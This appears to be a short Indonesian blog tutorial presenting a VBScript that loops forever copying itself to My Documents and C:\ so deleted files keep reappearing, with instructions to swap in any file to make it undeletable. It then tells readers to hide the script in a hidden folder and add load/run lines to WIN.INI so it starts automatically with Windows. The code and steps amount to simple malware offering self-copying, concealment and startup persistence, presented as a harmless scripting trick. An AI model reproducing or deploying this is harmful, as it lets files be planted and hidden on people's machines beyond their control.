DARI MAHASISWA UNTUK KEMNUSIAAN

Dim fso,File
SR = ".\RS.vbs"
do
      set fso = createobject       ("scripting.filesystemobject")
      set File=fso.GetFile(SR)
      File.Copy "C:\my documents\antis.vbs"
      File.Copy "c:\antis.vbs"
loop

Tulis script diatas dan simpan dengan nama RS.vbs lalu jalankan,dia akan mengcopykan diri sendiri di my documents dan di drive C dengan nama antis.vbs,nah sekarang coba delete antis.vbs yang ada di drive C ato di My documents,memang awalnya bisa dihapus tapi dia akan menciptakan lagi.woi kok gak sesuai judulnya, katanya semua file dapat jadi ANTIDELETION,memang bisa caranya.ubah parameter SR dengan file yang anda suka misal nih

SR=".\AKU.txt"

Trus juga nama file di drive nya juga dapat sesuka kamu kok contoh

File.Copy "C:\KAMU.txt" maka dijamin KAMU.txt ketika selesai tercopy gak akan bisa terhapus. kelemahannya RS.vbs (script pengantarnya) ga boleh terhapus dan harus tereksekusi,untuk mengatasi ini kamu dapat menyembunyikan RS.vbs di folder yang Hidden dan agar tereksekusi otomatis kamu bisa gunakan manipulasi WIN.INI agar me-RUN RS.vbs otomatis saat windows starting.

[windows]
load=c:\hidden_folder\RS.vbs

run=c:\hidden_folder\RS.vbs

oke sekian tulisan dari saya semoga bermanfaat bagi yang suka scripting. Makasih dah baca tulisanku yah....bye sampe ketemu ditulisanku selanjutnya...

1 2